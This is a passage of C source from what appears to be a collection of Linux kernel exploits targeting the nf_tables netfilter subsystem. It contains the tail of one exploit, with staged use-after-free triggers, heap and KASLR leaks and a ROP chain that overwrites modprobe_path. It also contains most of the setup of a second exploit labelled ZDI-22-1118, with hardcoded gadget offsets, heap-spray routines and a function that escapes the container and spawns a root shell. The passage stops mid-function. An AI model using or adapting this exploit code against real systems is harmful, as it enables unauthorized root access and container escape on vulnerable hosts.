nftnl_rule_free(r); 554 | 555 | return err; 556 | } 557 | 558 | int stage_1() 559 | { 560 | INFO("Stage 1: Leak table address"); 561 | 562 | if (trigger_uaf(NULL, 0, 0)) 563 | return -1; 564 | 565 | if (spray_leak_heap_addr()) 566 | return -1; 567 | 568 | return leak(leak_cb, leak_heap_expr_cb); 569 | } 570 | 571 | int stage_2() 572 | { 573 | INFO("Stage 2: Defeat KASLR"); 574 | 575 | if (trigger_uaf(NULL, 0, 0)) 576 | return -1; 577 | 578 | if (spray_fake_chain_addr(table_addr + 0x68)) 579 | return -1; 580 | 581 | return leak(leak_cb, leak_vmlinux_expr_cb); 582 | } 583 | 584 | int make_object(char *name, char *udata, uint32_t udlen, int need_leak) 585 | { 586 | int err = 0, rseq; 587 | obj *o; 588 | mnl_batch *b; 589 | nlmsghdr *hdr; 590 | char buf[MNL_SOCKET_BUFFER_SIZE]; 591 | 592 | o = nftnl_obj_alloc(); 593 | nftnl_obj_set_u32(o, NFTNL_OBJ_FAMILY, NFPROTO_IPV4); 594 | nftnl_obj_set_str(o, NFTNL_OBJ_TABLE, "uaf1"); 595 | nftnl_obj_set_u32(o, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER); 596 | nftnl_obj_set_str(o, NFTNL_OBJ_NAME, name); 597 | nftnl_obj_set_u32(o, NFTNL_OBJ_CTR_PKTS, 0); 598 | nftnl_obj_set_u32(o, NFTNL_OBJ_CTR_BYTES, 0); 599 | nftnl_obj_set_data(o, NFTNL_OBJ_USERDATA, udata, udlen); 600 | 601 | b = mnl_nlmsg_batch_start(buf, sizeof(buf)); 602 | 603 | nftnl_batch_begin((char *)mnl_nlmsg_batch_current(b), seq++); 604 | mnl_nlmsg_batch_next(b); 605 | rseq = seq; 606 | 607 | hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_ACK | NLM_F_CREATE, seq++); 608 | nftnl_obj_nlmsg_build_payload(hdr, o); 609 | mnl_nlmsg_batch_next(b); 610 | 611 | nftnl_batch_end((char *)mnl_nlmsg_batch_current(b), seq); 612 | mnl_nlmsg_batch_next(b); 613 | 614 | mnl_socket_sendto(mnl, mnl_nlmsg_batch_head(b), mnl_nlmsg_batch_size(b)); 615 | mnl_nlmsg_batch_stop(b); 616 | 617 | RUN_CALLBACKS(NULL, NULL); 618 | 619 | nftnl_obj_free(o); 620 | 621 | if (err < 0) 622 | return err; 623 | 624 | if (need_leak) 625 | { 626 | INFO(" Leak object address"); 627 | 628 | if (trigger_uaf(NULL, 0, 0)) 629 | return -1; 630 | 631 | if (spray_fake_chain_addr(table_addr + 0xc1)) 632 | return -1; 633 | 634 | if (leak(leak_cb, leak_obj_expr_cb)) 635 | return -1; 636 | 637 | INFO(" Leak object udata address"); 638 | 639 | if (trigger_uaf(NULL, 0, 0)) 640 | return -1; 641 | 642 | if (spray_fake_chain_addr(obj_addr + 0x49)) 643 | return -1; 644 | 645 | if (leak(leak_cb, leak_udata_expr_cb)) 646 | return -1; 647 | } 648 | 649 | return 0; 650 | } 651 | 652 | int stage_3() 653 | { 654 | char udata[256]; 655 | uint64_t *rop; 656 | 657 | INFO("Stage 3: Prepare expr ops and ROP"); 658 | 659 | memset(udata, 0, sizeof(udata)); 660 | *(uint32_t *)udata = 0x68; 661 | *(uint64_t *)&udata[0x8] = PUSH_RSI_JMP_RSI_OFF; 662 | 663 | rop = (uint64_t *)&udata[0x10]; 664 | 665 | *rop++ = POP_RAX_RET; 666 | *rop++ = MODPROBE_PATH + 0x7d; 667 | 668 | *rop++ = POP_R12_RBP_RBX_RET; 669 | rop++; 670 | rop++; 671 | rop++; 672 | 673 | *rop++ = POP_RCX_RET; 674 | *rop++ = 0x706d742f; 675 | *rop++ = WRITE_ECX_TO_RAX_OFF; 676 | *rop++ = POP_RAX_RET; 677 | *rop++ = MODPROBE_PATH + 0x7d + 0x4; 678 | *rop++ = POP_RCX_RET; 679 | *rop++ = 0x782f; 680 | *rop++ = WRITE_ECX_TO_RAX_OFF; 681 | 682 | *rop++ = KPTI_TRAMPOLINE; 683 | rop++; 684 | rop++; 685 | *rop++ = (uint64_t)monke; 686 | *rop++ = user_cs; 687 | *rop++ = user_rflags; 688 | *rop++ = user_sp; 689 | *rop++ = user_ss; 690 | 691 | return make_object("o2", udata, sizeof(udata), 1); 692 | } 693 | 694 | int stage_4() 695 | { 696 | char udata[256]; 697 | struct nft_rule *r = (struct nft_rule *)udata; 698 | uint64_t *rop; 699 | 700 | INFO("Stage 4: Prepare fake rule for ROP"); 701 | 702 | memset(udata, 0, sizeof(udata)); 703 | *(uint64_t *)&udata[1] = POP_RSP_R15_RET; 704 | r->dlen = 0xf0; 705 | *(uint64_t *)(r->data) = obj_udata - 0x10; 706 | *(uint64_t *)(r->data + 0x68) = obj_udata - 0x40; 707 | 708 | rop = (uint64_t *)(r->data + 0x70); 709 | *rop++ = POP_RSP_RET; 710 | *rop++ = obj_udata + 0x10; 711 | 712 | return make_object("o3", udata, sizeof(udata), 1); 713 | } 714 | 715 | int stage_5() 716 | { 717 | int err = 0, rseq; 718 | rule *r; 719 | expr *e; 720 | mnl_batch *b; 721 | nlmsghdr *hdr; 722 | char udata[sizeof(long) + 0x1000 - sizeof(struct msg_msg) + 0x80 - sizeof(struct msg_msgseg)]; 723 | char buf[MNL_SOCKET_BUFFER_SIZE]; 724 | 725 | INFO("Stage 5: Trigger ROP"); 726 | 727 | if (trigger_uaf(NULL, 0, 1)) 728 | return -1; 729 | 730 | *(uint64_t *)udata = 1; 731 | *(uint64_t *)(udata + sizeof(long) + 0x1000 - sizeof(struct msg_msg) + 0x8) = obj_udata; 732 | 733 | for (int i = 0; i < MSG_COUNT; ++i) 734 | msgsnd(msgid[i], udata, sizeof(udata) - sizeof(long), 0); 735 | 736 | INFO(" Calling validate"); 737 | 738 | r = nftnl_rule_alloc(); 739 | nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, NFPROTO_IPV4); 740 | nftnl_rule_set_str(r, NFTNL_RULE_TABLE, uaf_table_name); 741 | nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, "c2"); 742 | 743 | e = nftnl_expr_alloc("immediate"); 744 | nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); 745 | nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, NFT_RETURN); 746 | nftnl_rule_add_expr(r, e); 747 | 748 | b = mnl_nlmsg_batch_start(buf, sizeof(buf)); 749 | 750 | nftnl_batch_begin((char *)mnl_nlmsg_batch_current(b), seq++); 751 | mnl_nlmsg_batch_next(b); 752 | rseq = seq; 753 | 754 | hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_ACK | NLM_F_CREATE, seq++); 755 | nftnl_rule_nlmsg_build_payload(hdr, r); 756 | mnl_nlmsg_batch_next(b); 757 | 758 | nftnl_batch_end((char *)mnl_nlmsg_batch_current(b), seq); 759 | mnl_nlmsg_batch_next(b); 760 | 761 | fork_for_monke(); 762 | 763 | mnl_socket_sendto(mnl, mnl_nlmsg_batch_head(b), mnl_nlmsg_batch_size(b)); 764 | mnl_nlmsg_batch_stop(b); 765 | 766 | RUN_CALLBACKS(NULL, NULL); 767 | 768 | return err; 769 | } 770 | 771 | int main(int argc, char **argv, char **envp) 772 | { 773 | if (setup()) 774 | return -1; 775 | 776 | env = envp; 777 | save_state(); 778 | 779 | INFO("Opening netfilter socket"); 780 | mnl = mnl_socket_open(NETLINK_NETFILTER); 781 | if (mnl == NULL) 782 | { 783 | ERROR("mnl_socket_open"); 784 | return -1; 785 | } 786 | 787 | if (request_compat(mnl, "AUDIT", 0, 1)) 788 | { 789 | ERROR("request_compat"); 790 | goto end_mnl_socket; 791 | } 792 | 793 | if (stage_1()) 794 | { 795 | ERROR("Stage 1"); 796 | goto end_mnl_socket; 797 | } 798 | 799 | if (stage_2()) 800 | { 801 | ERROR("Stage 2"); 802 | goto end_mnl_socket; 803 | } 804 | 805 | if (stage_3()) 806 | { 807 | ERROR("Stage 3"); 808 | goto end_mnl_socket; 809 | } 810 | 811 | if (stage_4()) 812 | { 813 | ERROR("Stage 4"); 814 | goto end_mnl_socket; 815 | } 816 | 817 | if (stage_5()) 818 | { 819 | ERROR("Stage 5"); 820 | goto end_mnl_socket; 821 | } 822 | 823 | end_mnl_socket: 824 | mnl_socket_close(mnl); 825 | } 826 | -------------------------------------------------------------------------------- /ZDI-22-1118/exploit.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | #define PORT_SERVER 8888 27 | 28 | #define FAMILY NFPROTO_INET 29 | 30 | #define TABLE_NAME_LEAK "t_leak" 31 | #define TABLE_NAME_VICTIM "t_victim" 32 | #define TABLE_NAME_TRIGGER "t_trigger" 33 | 34 | #define CHAIN_NAME_TRIGGER "c_trigger" 35 | #define CHAIN_NAME_OBJ "c_obj" 36 | 37 | #define SET_NAME_LEAK "s_leak" 38 | #define SET_NAME_VICTIM "s_victim" 39 | 40 | #define OBJ_NAME_VICTIM "o_victim" 41 | 42 | #define SET_ID_LEAK 0x1111 43 | #define SET_ID_VICTIM 0x2222 44 | 45 | #define OBJ_SPRAY_FMT "o_spray%d" 46 | #define OBJ_SPRAY_PER_BATCH 32 47 | #define OBJ_SPRAY_BATCHES 32 48 | 49 | #define CHAIN_SPRAY_FMT "c_spray%d" 50 | #define CHAIN_SPRAY_PER_BATCH 8 51 | #define CHAIN_SPRAY_BATCHES_FIRST 256 52 | #define CHAIN_SPRAY_BATCHES_SUBSEQUENT 768 53 | 54 | #define NFT_OBJECT_NAME 0x20 55 | #define NFT_OBJECT_OPS 0x80 56 | 57 | #define NF_TABLES_SUBSYS_OFFSET 0x28420 58 | #define NF_TABLES_KFREE_CALL 0x1384 59 | #define NF_TABLES_SECMARK_OBJ_OPS 0x29aa0 60 | 61 | #define PUSH_RDI_POP_RSP_POP_RBP_RET 0x6d9311 62 | #define POP_RDI_RET 0x66ebd 63 | #define POP_RSI_RET 0xfe63e 64 | #define POP_RBP_RET 0x802 65 | #define CMP_ECX_ECX_RET 0x5fb27 66 | #define MOV_RDI_RAX_JNE_RET 0x626d94 67 | #define MOV_QWORD_PTR_RSI_RDI_RET 0x2582be 68 | 69 | #define KFREE_OFFSET 0x337450 70 | #define DMI_CLASS_KFREE_OFFSET 0x2198180 71 | #define PREPARE_KERNEL_CRED 0xe8780 72 | #define COMMIT_CREDS 0xe84c0 73 | #define KPTI_TRAMPOLINE 0xe0100b 74 | #define FIND_TASK_BY_VPID 0xde7d0 75 | #define INIT_NSPROXY 0x1e8a120 76 | #define SWITCH_TASK_NAMESPACES 0xe6ca0 77 | #define MODPROBE_PATH 0x1e8b460 78 | 79 | #define EXECVE_SYSCALL 59 80 | 81 | void *nf_tables; 82 | void *vmlinux; 83 | void *heap; 84 | uint32_t mnl_seq = 1, start_seq, end_seq; 85 | uint32_t objid_spr = 1, objid_fr = 1, ignore_fr_id; 86 | uint32_t chainid_spr = 1, chainid_fr = 1; 87 | char obj_data[256]; 88 | char cname[256]; 89 | unsigned long user_cs, user_ss, user_rflags, user_sp; 90 | 91 | void get_shell(){ 92 | puts("[+] Returned to userland"); 93 | if (getuid() == 0){ 94 | puts("[+] uid: 0, got root!!!"); 95 | puts("[*] Escaping container"); 96 | setns(open("/proc/1/ns/mnt", O_RDONLY), 0); 97 | setns(open("/proc/1/ns/pid", O_RDONLY), 0); 98 | setns(open("/proc/1/ns/net", O_RDONLY), 0); 99 | setns(open("/proc/1/ns/user", O_RDONLY), 0); 100 | puts("[*] Spawning root shell"); 101 | syscall(EXECVE_SYSCALL, "/bin/bash", 0, 0); 102 | } else { 103 | printf("[!] uid: %d, didn't get root\n", getuid()); 104 | exit(0); 105 | } 106 | } 107 | 108 | void save_state(){ 109 | __asm__( 110 | ".intel_syntax noprefix;" 111 | "mov user_cs, cs;" 112 | "mov user_ss, ss;" 113 | "mov user_sp, rsp;" 114 | "pushf;" 115 | "pop user_rflags;" 116 | ".att_syntax;" 117 | ); 118 | puts("[+] Saved state"); 119 | } 120 | 121 | static int setup_sandbox(void) 122 | { 123 | struct rlimit fdlim; 124 | cpu_set_t set; 125 | int pid; 126 | 127 | if (unshare(CLONE_NEWUSER) < 0) 128 | { 129 | perror("[-] unshare(CLONE_NEWUSER)"); 130 | return -1; 131 | } 132 | 133 | if (unshare(CLONE_NEWNET) < 0) 134 | { 135 | perror("[-] unshare(CLONE_NEWNET)"); 136 | return -1; 137 | } 138 | 139 | pid = fork(); 140 | if (pid == 0) { 141 | setsid(); 142 | while (1) sleep(1000); 143 | } 144 | 145 | fdlim.rlim_cur = fdlim.rlim_max = (1 << 20); 146 | if (setrlimit(RLIMIT_NOFILE, &fdlim) < 0) { 147 | perror("[-] setrlimit"); 148 | return -1; 149 | } 150 | 151 | CPU_ZERO(&set); 152 | CPU_SET(0, &set); 153 | if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) 154 | { 155 | perror("[-] sched_setaffinity"); 156 | return -1; 157 | } 158 | 159 | return 0; 160 | } 161 | 162 | static struct nftnl_table *init_table(uint16_t family, const char *name) 163 | { 164 | struct nftnl_table *t; 165 | 166 | t = nftnl_table_alloc(); 167 | if (t == NULL) 168 | { 169 | perror("[-] init_table"); 170 | return NULL; 171 | } 172 | 173 | nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family); 174 | nftnl_table_set_str(t, NFTNL_TABLE_NAME, name); 175 | 176 | return t; 177 | } 178 | 179 | static struct nftnl_chain *init_chain(const char *table, const char *name, bool basechain, const char *udata, uint32_t udlen) 180 | { 181 | struct nftnl_chain *t; 182 | 183 | t = nftnl_chain_alloc(); 184 | if (t == NULL) 185 | { 186 | perror("[-] init_chain"); 187 | return NULL; 188 | } 189 | 190 | nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, table); 191 | nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, name); 192 | 193 | if (basechain) 194 | { 195 | nftnl_chain_set_u32(t, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT); 196 | nftnl_chain_set_u32(t, NFTNL_CHAIN_PRIO, 0); 197 | } 198 | 199 | if (udata) { 200 | nftnl_chain_set_data(t, NFTNL_CHAIN_USERDATA, udata, udlen); 201 | } 202 | return t; 203 | } 204 | 205 | static struct nftnl_rule *init_rule(uint16_t family, const char *table, const char *chain) 206 | { 207 | struct nftnl_rule *r; 208 | 209 | r = nftnl_rule_alloc(); 210 | if (r == NULL) 211 | { 212 | perror("[-] init_rule"); 213 | return NULL; 214 | } 215 | 216 | nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family); 217 | nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table); 218 | nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain); 219 | 220 | return r; 221 | } 222 | 223 | static struct nftnl_expr *init_objref_map_expr(uint32_t setid) 224 | { 225 | struct nftnl_expr *e; 226 | 227 | e = nftnl_expr_alloc("objref"); 228 | if (e == NULL) 229 | { 230 | perror("[-] init_objref_map_expr"); 231 | return NULL; 232 | } 233 | 234 | nftnl_expr_set_u32(e, NFTNL_EXPR_OBJREF_SET_ID, setid); 235 | nftnl_expr_set_u32(e, NFTNL_EXPR_OBJREF_SET_SREG, NFT_REG32_00); //set register 236 | 237 | return e; 238 | } 239 | 240 | static struct nftnl_expr *init_objref_imm_expr(const char *objname, uint32_t objtype) 241 | { 242 | struct nftnl_expr *e; 243 | 244 | e = nftnl_expr_alloc("objref"); 245 | if (e == NULL) 246 | { 247 | perror("[-] init_objref_imm_expr"); 248 | return NULL; 249 | } 250 | 251 | nftnl_expr_set_str(e, NFTNL_EXPR_OBJREF_IMM_NAME, objname); 252 | nftnl_expr_set_u32(e, NFTNL_EXPR_OBJREF_IMM_TYPE, objtype); 253 | 254 | return e; 255 | } 256 | 257 | static struct nftnl_expr *init_compat_tg_expr(const char *name, const char rev, const char *info, uint32_t infolen) 258 | { 259 | struct nftnl_expr *e; 260 | 261 | e = nftnl_expr_alloc("target"); 262 | if (e == NULL) 263 | { 264 | perror("[-] init_compat_tg_expr"); 265 | return NULL; 266 | } 267 | 268 | nftnl_expr_set_str(e, NFTNL_EXPR_TG_NAME, name); 269 | nftnl_expr_set_u32(e, NFTNL_EXPR_TG_REV, rev); 270 | nftnl_expr_set_data(e, NFTNL_EXPR_TG_INFO, info, infolen); 271 | 272 | return e; 273 | } 274 | 275 | static struct nftnl_set *init_leak_set(uint8_t family, const char *table, const char *name, uint32_t setid, uint8_t *field_len, uint8_t field_count) 276 | { 277 | struct nftnl_set *s = NULL; 278 | 279 | s = nftnl_set_alloc(); 280 | if (s == NULL) 281 | { 282 | perror("[-] init_leak_set"); 283 | return NULL; 284 | } 285 | 286 | nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family); 287 | nftnl_set_set_str(s, NFTNL_SET_TABLE, table); 288 | nftnl_set_set_str(s, NFTNL_SET_NAME, name); 289 | nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, sizeof(uint16_t)); 290 | nftnl_set_set_u32(s, NFTNL_SET_ID, setid); 291 | nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, 13); 292 | nftnl_set_set_data(s, NFTNL_SET_DESC_CONCAT, field_len, field_count); 293 | 294 | return s; 295 | } 296 | 297 | static struct nftnl_set *init_obj_set(uint8_t family, const char *table, const char *name, uint32_t setid, uint32_t objtype) 298 | { 299 | struct nftnl_set *s = NULL; 300 | 301 | s = nftnl_set_alloc(); 302 | if (s == NULL) 303 | { 304 | perror("[-] init_obj_set"); 305 | return NULL; 306 | } 307 | 308 | nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family); 309 | nftnl_set_set_str(s, NFTNL_SET_TABLE, table); 310 | nftnl_set_set_str(s, NFTNL_SET_NAME, name); 311 | nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, sizeof(uint16_t)); 312 | nftnl_set_set_u32(s, NFTNL_SET_ID, setid); 313 | nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, 13); 314 | nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_OBJECT | NFT_SET_TIMEOUT); 315 | nftnl_set_set_u32(s, NFTNL_SET_OBJ_TYPE, objtype); 316 | nftnl_set_set_u64(s, NFTNL_SET_TIMEOUT, 1500); 317 | nftnl_set_set_u32(s, NFTNL_SET_GC_INTERVAL, 2000); 318 | 319 | return s; 320 | } 321 | 322 | static struct nftnl_set_elem *init_set_elem(const char *object) 323 | { 324 | struct nftnl_set_elem *se = NULL; 325 | 326 | se = nftnl_set_elem_alloc(); 327 | if (se == NULL) 328 | { 329 | perror("[-] init_set_elem"); 330 | return NULL; 331 | } 332 | 333 | nftnl_set_elem_set_str(se, NFTNL_SET_ELEM_OBJREF, object); 334 | //NFT_SET_ELEM_CATCHALL = 0x2 335 | nftnl_set_elem_set_u32(se, NFTNL_SET_ELEM_FLAGS, 0x2); 336 | 337 | return se; 338 | } 339 | 340 | static struct nftnl_obj *init_obj(const char *table, const char *name, uint32_t type) 341 | { 342 | struct nftnl_obj *o = NULL; 343 | 344 | o = nftnl_obj_alloc(); 345 | if (o == NULL) 346 | { 347 | perror("[-] init_obj"); 348 | return NULL; 349 | } 350 | 351 | nftnl_obj_set_str(o, NFTNL_OBJ_TABLE, table); 352 | nftnl_obj_set_str(o, NFTNL_OBJ_NAME, name); 353 | nftnl_obj_set_u32(o, NFTNL_OBJ_TYPE, type); 354 | 355 | return o; 356 | } 357 | 358 | static void start_nftnl_batch(struct mnl_nlmsg_batch *batch) 359 | { 360 | nftnl_batch_begin(mnl_nlmsg_batch_current(batch), mnl_seq++); 361 | mnl_nlmsg_batch_next(batch); 362 | start_seq = mnl_seq; 363 | } 364 | 365 | static void batch_new_table(struct mnl_nlmsg_batch *batch, struct nftnl_table *t) 366 | { 367 | struct nlmsghdr *nlh; 368 | 369 | nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), 370 | NFT_MSG_NEWTABLE, FAMILY, 371 | NLM_F_CREATE | NLM_F_ACK, mnl_seq++); 372 | nftnl_table_nlmsg_build_payload(nlh, t); 373 | mnl_nlmsg_batch_next(batch); 374 | } 375 | 376 | static void batch_new_chain(struct mnl_nlmsg_batch *batch, struct nftnl_chain *c) 377 | { 378 | struct nlmsghdr *nlh; 379 | 380 | nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), 381 | NFT_MSG_NEWCHAIN, FAMILY, 382 | NLM_F_CREATE | NLM_F_ACK, mnl_seq++); 383 | nftnl_chain_nlmsg_build_payload(nlh, c); 384 | mnl_nlmsg_batch_next(batch); 385 | } 386 | 387 | static void batch_new_rule(struct mnl_nlmsg_batch *batch, struct nftnl_rule *r) 388 | { 389 | struct nlmsghdr *nlh; 390 | 391 | nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), 392 | NFT_MSG_NEWRULE, FAMILY, 393 | NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, mnl_seq++); 394 | nftnl_rule_nlmsg_build_payload(nlh, r); 395 | mnl_nlmsg_batch_next(batch); 396 | } 397 | 398 | static void batch_new_set(struct mnl_nlmsg_batch *batch, struct nftnl_set *s) 399 | { 400 | struct nlmsghdr *nlh; 401 | 402 | nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), 403 | NFT_MSG_NEWSET, FAMILY, 404 | NLM_F_CREATE | NLM_F_ACK, mnl_seq++); 405 | nftnl_set_nlmsg_build_payload(nlh, s); 406 | mnl_nlmsg_batch_next(batch); 407 | } 408 | 409 | static void batch_new_set_elem(struct mnl_nlmsg_batch *batch, struct nftnl_set *s) 410 | { 411 | struct nlmsghdr *nlh; 412 | 413 | nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), 414 | NFT_MSG_NEWSETELEM, FAMILY, 415 | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK, 416 | mnl_seq++); 417 | nftnl_set_elems_nlmsg_build_payload(nlh, s); 418 | mnl_nlmsg_batch_next(batch); 419 | } 420 | 421 | static void batch_new_obj(struct mnl_nlmsg_batch *batch, struct nftnl_obj *o) 422 | { 423 | struct nlmsghdr *nlh; 424 | 425 | nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), 426 | NFT_MSG_NEWOBJ, FAMILY, NLM_F_ACK, mnl_seq++); 427 | nftnl_obj_nlmsg_build_payload(nlh, o); 428 | mnl_nlmsg_batch_next(batch); 429 | } 430 | 431 | static void batch_del_table(struct mnl_nlmsg_batch *batch, struct nftnl_table *t) 432 | { 433 | struct nlmsghdr *nlh; 434 | 435 | nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), 436 | NFT_MSG_DELTABLE, FAMILY, 437 | NLM_F_ACK, mnl_seq++); 438 | nftnl_table_nlmsg_build_payload(nlh, t); 439 | mnl_nlmsg_batch_next(batch); 440 | } 441 | 442 | static void batch_del_chain(struct mnl_nlmsg_batch *batch, struct nftnl_chain *c) 443 | { 444 | struct nlmsghdr *nlh; 445 | 446 | nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), 447 | NFT_MSG_DELCHAIN, FAMILY, 448 | NLM_F_ACK, mnl_seq++); 449 | nftnl_chain_nlmsg_build_payload(nlh, c); 450 | mnl_nlmsg_batch_next(batch); 451 | } 452 | 453 | static void batch_del_obj(struct mnl_nlmsg_batch *batch, struct nftnl_obj *o) 454 | { 455 | struct nlmsghdr *nlh; 456 | 457 | nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), 458 | NFT_MSG_DELOBJ, FAMILY, NLM_F_ACK, 459 | mnl_seq++); 460 | nftnl_obj_nlmsg_build_payload(nlh, o); 461 | mnl_nlmsg_batch_next(batch); 462 | } 463 | 464 | static void end_nftnl_batch(struct mnl_nlmsg_batch *batch) 465 | { 466 | end_seq = mnl_seq; 467 | nftnl_batch_end(mnl_nlmsg_batch_current(batch), mnl_seq++); 468 | mnl_nlmsg_batch_next(batch); 469 | } 470 | 471 | static int run_cb(struct mnl_socket *nl, uint32_t seq, mnl_cb_t cb_data, void *data) 472 | { 473 | char buf[MNL_SOCKET_BUFFER_SIZE]; 474 | int ret; 475 | 476 | ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); 477 | while (ret > 0) 478 | { 479 | ret = mnl_cb_run(buf, ret, seq, mnl_socket_get_portid(nl), cb_data, data); 480 | if (ret <= 0) 481 | break; 482 | ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); 483 | } 484 | 485 | return ret; 486 | } 487 | 488 | static int request_compat(struct mnl_socket *nl, const char *name, uint32_t rev, uint32_t type) 489 | { 490 | char buf[MNL_SOCKET_BUFFER_SIZE]; 491 | struct nlmsghdr *nlh; 492 | struct nfgenmsg *nfg; 493 | uint32_t seq = mnl_seq++; 494 | int ret; 495 | 496 | nlh = mnl_nlmsg_put_header(buf); 497 | nlh->nlmsg_type = (NFNL_SUBSYS_NFT_COMPAT << 8) | NFNL_MSG_COMPAT_GET; 498 | nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; 499 | nlh->nlmsg_seq = seq; 500 | 501 | nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg)); 502 | nfg->nfgen_family = AF_INET; 503 | nfg->version = NFNETLINK_V0; 504 | nfg->res_id = 0; 505 | 506 | mnl_attr_put_strz(nlh, NFTA_COMPAT_NAME, name); 507 | mnl_attr_put_u32(nlh, NFTA_COMPAT_REV, htonl(rev)); 508 | mnl_attr_put_u32(nlh, NFTA_COMPAT_TYPE, htonl(type)); 509 | 510 | if (((ret = mnl_socket_sendto(nl, nlh, nlh->nlmsg_len))) < 0) 511 | { 512 | perror("[-] mnl_socket_sendto"); 513 | return ret; 514 | } 515 | 516 | if ((ret = run_cb(nl, seq, NULL, NULL)) < 0) 517 | { 518 | perror("[-] run_cb"); 519 | return ret; 520 | } 521 | 522 | return 0; 523 | } 524 | 525 | static int force_trans_gc(struct mnl_socket *nl) 526 | { 527 | struct nftnl_expr *ec; 528 | struct nftnl_rule *rc; 529 | struct mnl_nlmsg_batch *batch; 530 | char buf[MNL_SOCKET_BUFFER_SIZE]; 531 | int ret; 532 | 533 | rc = init_rule(FAMILY, TABLE_NAME_TRIGGER, CHAIN_NAME_TRIGGER); 534 | ec = init_compat_tg_expr("AUDIT", 0, strdup(""), 1); 535 | nftnl_rule_add_expr(rc, ec); 536 | 537 | batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); 538 | start_nftnl_batch(batch); 539 | 540 | batch_new_rule(batch, rc); 541 | nftnl_rule_free(rc); 542 | 543 | end_nftnl_batch(batch); 544 | 545 | if ((ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch))) < 0) 546 | { 547 | perror("[-] mnl_socket_sendto 1"); 548 | return ret; 549 | } 550 | 551 | mnl_nlmsg_batch_stop(batch); 552 | 553 | for (int i = start_seq; i < end_seq; ++i) 554 | { 555 | if ((ret = run_cb(nl, i, NULL, NULL)) < 0) 556 | { 557 | perror("[-] run_cb 1"); 558 | return ret; 559 | } 560 | } 561 | 562 | return 0; 563 | } 564 | 565 | static int spray_objects(struct mnl_socket *nl) 566 | { 567 | struct nftnl_obj *o[OBJ_SPRAY_PER_BATCH]; 568 | struct mnl_nlmsg_batch *batch; 569 | char buf[MNL_SOCKET_BUFFER_SIZE]; 570 | char objname[128]; 571 | int ret; 572 | 573 | for (int b = 0; b < OBJ_SPRAY_BATCHES; ++b) 574 | { 575 | for (int i = 0; i < OBJ_SPRAY_PER_BATCH; ++i) 576 | { 577 | sprintf(objname, OBJ_SPRAY_FMT, objid_spr++); 578 | o[i] = init_obj(TABLE_NAME_TRIGGER, objname, NFT_OBJECT_COUNTER); 579 | } 580 | 581 | batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); 582 | start_nftnl_batch(batch); 583 | 584 | for (int i = 0; i < OBJ_SPRAY_PER_BATCH; ++i) 585 | { 586 | batch_new_obj(batch, o[i]); 587 | nftnl_obj_free(o[i]); 588 | } 589 | 590 | end_nftnl_batch(batch); 591 | 592 | if ((ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch))) < 0) 593 | { 594 | perror("[-] mnl_socket_sendto"); 595 | return ret; 596 | } 597 | 598 | mnl_nlmsg_batch_stop(batch); 599 | 600 | for (int i = start_seq; i < end_seq; ++i) 601 | { 602 | if ((ret = run_cb(nl, i, NULL, NULL)) < 0) 603 | { 604 | perror("[-] run_cb"); 605 | return ret; 606 | } 607 | } 608 | } 609 | 610 | return 0; 611 | } 612 | static int cleanup_obj(struct mnl_socket *nl, char* objname){ 613 | struct nftnl_obj *obj; 614 | struct mnl_nlmsg_batch *batch; 615 | char buf[MNL_SOCKET_BUFFER_SIZE]; 616 | int ret; 617 | 618 | obj = init_obj(TABLE_NAME_TRIGGER, objname, NFT_OBJECT_COUNTER); 619 | 620 | batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); 621 | start_nftnl_batch(batch); 622 | 623 | batch_del_obj(batch, obj); 624 | nftnl_obj_free(obj); 625 | 626 | 